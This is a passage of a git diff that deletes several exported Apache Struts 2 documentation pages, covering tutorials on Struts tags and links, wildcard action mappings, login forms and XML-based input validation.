-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In the <a shape="rect" href="hello-world.html">Hello World</a> lesson, we presented a page with a simple Welcome message. In the <em>Using Tags</em> lesson, we create a Welcome page with links to other actions in the application. </p>
-
-<p>Web applications differ from conventional websites in that web applications can create a dynamic response. To make it easier to reference dynamic data from a page, the framework offers a set of tags. Some of the tags mimic standard HTML tag while providing added value. Other tags create non-standard, but useful controls. </p>
-
-<p>One use of the Struts Tags is to create links to other web resources, especially to other resources in the local application. </p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>While HTML provides a simple <code>a</code> tag for creating hyperlinks, the HTML tag often requires us to include redundant information. Also the HTML tag cannot easily access dynamic data provided by the framework.</p></div></div>
-
-<h2 id="UsingTags-Linking">Linking </h2>
-
-<p>A very common use case in web applications is linking to other pages. Now that we know Struts is up and running, let's add a Welcome page with links to other actions.</p>
-
-<div class="panel" style="border-width: 1px;"><div class="panelContent">
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="using-tags.data/Welcome.PNG"></span></p>
-</div></div>
-
-<h3 id="UsingTags-TheCode">The Code</h3>
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Welcome.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Welcome&lt;/title&gt;
-    &lt;link href="&lt;s:url value="/css/tutorial.css"/&gt;" rel="stylesheet"
-          type="text/css"/&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;h3&gt;Commands&lt;/h3&gt;
-&lt;ul&gt;
-    &lt;li&gt;&lt;a href="&lt;s:url action="Register"/&gt;"&gt;Register&lt;/a&gt;&lt;/li&gt;
-    &lt;li&gt;&lt;a href="&lt;s:url action="Logon"/&gt;"&gt;Sign On&lt;/a&gt;&lt;/li&gt;
-&lt;/ul&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<p>Another common use case is using a link to change locales. On the HelloWorld page, let's add links to change the user's locale and to display a message from the application resources. </p>
-
-<div class="panel" style="border-width: 1px;"><div class="panelContent">
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="using-tags.data/HelloWorld.PNG"></span></p>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>HelloWorld.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;body&gt;
-&lt;h2&gt;&lt;s:property value="message"/&gt;&lt;/h2&gt;
-
-&lt;h3&gt;Languages&lt;/h3&gt;
-&lt;ul&gt;
-    &lt;li&gt;
-        &lt;s:url var="url" action="Welcome"&gt;
-            &lt;s:param name="request_locale"&gt;en&lt;/s:param&gt;
-        &lt;/s:url&gt;
-        &lt;s:a href="%{url}"&gt;English&lt;/s:a&gt;
-    &lt;/li&gt;
-    &lt;li&gt;
-        &lt;s:url var="url" action="Welcome"&gt;
-            &lt;s:param name="request_locale"&gt;es&lt;/s:param&gt;
-        &lt;/s:url&gt;
-        &lt;s:a href="%{url}"&gt;Espanol&lt;/s:a&gt;
-    &lt;/li&gt;
-&lt;/ul&gt;
-&lt;/body&gt;
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The <code>var</code> attribute (used in the <code>&lt;s:url...&gt;</code> tags) was introduced in Struts 2.1; use the <code>id</code> attribute in its place with Struts 2.0.</p></div></div>
-
-<h3 id="UsingTags-HowtheCodeWorks">How the Code Works</h3>
-
-<p>"%{url}" will be evaluated to the url defined with the s:url tag. On the Welcome and HelloWorld pages, we use two different Struts tags to create links. We create </p>
-
-<ul><li>Resource links</li><li>Direct links, and</li><li>Links with parameters.</li></ul>
-
-
-<p>Let's look at each in turn. </p>
-
-<h4 id="UsingTags-Resourcelinks">Resource links </h4>
-
-<p>First, in the head element, we use the <code>url</code> tag to inject a page reference into the HTML <code>link</code> tag. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;link href="&lt;s:url value="/css/tutorial.css"/&gt;" 
-  rel="stylesheet" type="text/css"/&gt;
-</pre>
-</div></div>
-
-<p>Note that the reference is absolute. We can move the page containing the link around without worrying about resolving relative references.</p>
-
-<p>The <code>url</code> tag will also inject the web application context name.</p>
-
-<h4 id="UsingTags-Directlinks">Direct links</h4>
-
-<p>In the "Commands" section, we use the <code>url</code> tag again, to link to a Struts 2 Action. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;li&gt;&lt;a href="&lt;s:url action="Register"/&gt;"&gt;Register&lt;/a&gt;&lt;/li&gt;
-</pre>
-</div></div>
-
-<p>When the link is rendered, the tag will automatically append the appropriate extension, so that we do not need to embed that information across the application. </p>
-
-<p>The tag will also URL-encode the link with the Java session ID, if needed, so that the Java session can be retained across requests. </p>
-
-<h4 id="UsingTags-Linkswithparameters">Links with parameters</h4>
-
-<p>Finally, in the Languages section on the HelloWorld page, we use the <code>url</code> tag along with the <code>param</code> and <code>a</code> tags to create a link with request parameters. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url var="url" action="Welcome"&gt;
-  &lt;s:param name="request_locale"&gt;en&lt;/s:param&gt;
-&lt;/s:url&gt;
-&lt;s:a href="%{url}"&gt;English&lt;/s:a&gt;
-</pre>
-</div></div>
-
-<p>This <code>param</code> tag will add the parameter "?request_locale=en" to the <code>Welcome</code> Action URL, and store it under the name "url". The <code>a</code> tag then injects the "url" reference into the hyperlink. This request_locale parameter will be picked up by the <a shape="rect" href="i18n-interceptor.html">I18n Interceptor</a>, and change your Locale accordingly.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Any number of parameters can be added to the URI by adding more <code>param</code> tags.</p>
-
-<h2 id="UsingTags-WildcardMappings">Wildcard Mappings</h2>
-
-<p>Since the Welcome page is nothing but links, we don't need an Action class. We'll still use a mapping, however, so we can use an action URI. If we link only to actions, and never to pages, then it's easy to add an Action class later. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="Welcome" &gt;
-  &lt;result&gt;/Welcome.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>As we create the application, we will often want to go directly to a page. To make prototyping easy, we can change the Welcome entry to a wilcard mapping. </p>
-
-<h3 id="UsingTags-TheCode.1">The Code</h3>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="*" &gt;
-  &lt;result&gt;/{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingTags-HowtheCodeWorks.1">How the Code Works </h3>
-
-<p>If no other mapping matches, the framework will </p>
-
-<ul><li>match "Welcome" to the asterisk, and</li><li>substitute "Welcome" for any "{1}" tokens in the mapping.</li></ul>
-
-
-<p>Likewise, if there is a link to a "Login" action, and nothing else matches, then the "/Login.jsp" page is returned instead. </p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Wildcard mappings let you create your own conventions, so that you can avoid redundant configuration. The <strong>first</strong> mapping that matches a request wins. (So put a mapping like <code>&lt;action name="*" &gt;</code> <strong>last</strong>!)</p>
-
-<p>If you are coding along, you can replace the Welcome action in your <code>struts.xml</code> with the Wildcard version.</p>
-
-<h2 id="UsingTags-DataEntryForms">Data Entry Forms</h2>
-
-<p>Most applications will use several data entry forms. The Struts Tags make creating input forms easy. </p>
-
-<div class="panel" style="border-width: 1px;"><div class="panelContent">
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="using-tags.data/Logon.PNG"></span></p>
-</div></div>
-
-<h3 id="UsingTags-TheCode.2">The Code</h3>
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Logon.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;html&gt;
-&lt;head&gt;
-  &lt;title&gt;Login&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;s:form action="Logon"&gt; 
-  &lt;s:textfield label="User Name" name="username"/&gt;
-  &lt;s:password label="Password" name="password" /&gt;
-  &lt;s:submit/&gt;
-&lt;/s:form&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingTags-HowTheCodeWorks">How The Code Works</h3>
-
-<ul><li>The JSP engine reads the taglib reference at the top of the page and loads the Struts Tags for use with this page under the prefix "s".</li><li>The Struts Tags &#8211; textfield, password, and submit &#8211; each emit the appropriate label and control type.</li></ul>
-
-
-<h2 id="UsingTags-WhattoRemember">What to Remember </h2>
-
-<p>The hardest part of writing a web application can be coding the pages. The framework makes coding pages easier by providing a set of custom tags. The Struts Tags can access dynamic data provided by the framework. Tags reduce the amount of markup needed to create a page. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more about Struts Tags, see the <a shape="rect" href="tag-developers-guide.html">Tag Developers Guide</a>.<br clear="none">
-<img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more on how to access action members, request attributes and others from pages, see <a shape="rect" href="ognl.html">OGNL</a>.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="coding-actions.html">Coding Actions</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="hello-world.html">Hello World</a> </p></td></tr></tbody></table> [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-visitor-field-validator.html b/content/docs/using-visitor-field-validator.html
deleted file mode 100644
index 2e8dc40..0000000
--- a/content/docs/using-visitor-field-validator.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Visitor Field Validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="using-visitor-field-validator.html">Using Visitor Field Validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Visitor Field Validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13965">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13965">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13965">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="UsingVisitorFieldValidator-Description">Description</h2><p>The followings show a simple example using Webwork's Field Validators</p><h3 id="UsingVisitorFieldValidator-Step1">Step 1</h3><p>Create the jsp page.<plain-text-body>{snippet:id=visitorValidatorsExample|lang=xml|javadoc=false|url=struts2/apps/showcase/src/main/webapp/WEB-INF/validation/visitorValidatorsExample.jsp}</plain-text-body></p><h3 id="UsingVisitorFieldValidator-Step2">Step  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validating-input.html b/content/docs/validating-input.html
deleted file mode 100644
index 9b76f0c..0000000
--- a/content/docs/validating-input.html
+++ /dev/null
@@ -1,214 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Validating Input</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="validating-input.html">Validating Input</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Validating Input</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23419">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23419">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23419">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23419">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23419">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23419">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In the <a shape="rect" href="coding-actions.html">Coding Actions</a> lesson, we validated the username and password input with a few lines of Java code. Of course, in a larger application, over time, even these few lines of code can become a maintenance burden. </p>
-
-<p>Happily, the framework provides a validation framework that can validate input "behind the scenes". </p>
-
-<h2 id="ValidatingInput-TheCode">The Code </h2>
-
-<p>Validation can be described through an XML document, or using annotations. The XML document is named after the Action being validated with a "-validation" suffix. Since we would like to validate the Logon Action class, our document is named Logon-validation.xml.</p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Logon-validation.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE validators PUBLIC 
-"-//OpenSymphony Group//XWork Validator 1.0.2//EN" 
-"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"&gt;
-
-&lt;validators&gt;
-    &lt;field name="username"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message&gt;Username is required&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-    &lt;field name="password"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message&gt;Password is required&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div>
-
-<p>Create a file named <code>Logon-validation.xml</code> next to the <code>Logon.java</code> class, and paste in the code. </p>
-
-<p>The first time a page displays, we wouldn't want the validation to fire. We should have a chance to enter the input before being told it's incorrect. One way to bypass validation is to refer to a special "input" method provided by the base ActionSupport class. To do that, we need to edit the Welcome page and the Logon mapping. </p>
-
-<p>To indicate the changes, we'll use <img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> to indicate a line we are removing, and <img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt=" [...]
-
-<h4 id="ValidatingInput-Welcome.jsp">Welcome.jsp</h4>
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> <code>&lt;li&gt;&lt;a href="&lt;s:url action="Logon"/&gt;"&gt;Sign On&lt;/a&gt;&lt;/li&gt;</code><br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> <code>&lt;li&gt;&lt;a href="&lt;s:url action="Logon_input"/&gt;"&gt;Sign On&lt;/a&gt;&lt;/li&gt;</code></p>
-
-<h4 id="ValidatingInput-struts.xml">struts.xml</h4>
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> <code>&lt;action name="Logon" class="tutorial.Logon"&gt;</code><br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> <code>&lt;action name="Logon_*" method="{1}" class="tutorial.Logon"&gt;</code></p>
-
-<h2 id="ValidatingInput-HowtheCodeWorks">How the Code Works </h2>
-
-<p>To open the Logon form, the Welcome page refers to <code>Logon_input</code>. </p>
-<ul><li>The framework matches this reference with the <code>Logon_*</code> action mapping.</li><li>The "method={1}" attribute is replaced with "method=input".</li><li>The framework invokes the <code>input</code> method on the <code>Logon</code> Action class.</li><li>Since "input" is on a special list of methods that bypass validation, the validation framework is not invoked.</li><li>The default <code>input</code> method returns the result code "input".</li><li>The framework renders "Logo [...]
-
-
-<p>To submit the Logon form, the Login pages refers to <code>Logon</code>.</p>
-<ul><li>The framework checks for a validation for the target Action class, <code>Logon</code>.</li><li>Finding a <code>Logon-validation.xml</code> file, the framework creates a validation object for the class, based on the XML document.
-	<ul><li>Essentially, the validation is a set of Validator objects.</li></ul>
-	</li><li>The Validators are applied to the incoming properties.</li><li>If a Validator fails, its message is added to an internal queue.</li><li>When all the Validators have fired, if the framework sees that errors have been posted, it seeks the "input" result, without invoking the Action class.</li><li>Otherwise, the default Action method fires. Since the input has already been validated, the "success" result code is returned.</li></ul>
-
-
-<h2 id="ValidatingInput-WhattoRemember">What to Remember</h2>
-
-<p>The framework provides a validation framework. A set of validators can be associated with an input field. If validation fails, the framework can return to the input page and display the error messages. To bypass validation, a special "input" Action method can be invoked, instead of the default "execute" method.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more, see <a shape="rect" href="validation.html">Validation</a> in the Core Developers Guide.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="localizing-output.html">Localizing Output</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="selecting-results.html">Selecting Results</a> </p></td></tr></tbody></table></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validation-annotation.html b/content/docs/validation-annotation.html
deleted file mode 100644
index c6b2309..0000000
--- a/content/docs/validation-annotation.html
+++ /dev/null
@@ -1,243 +0,0 @@
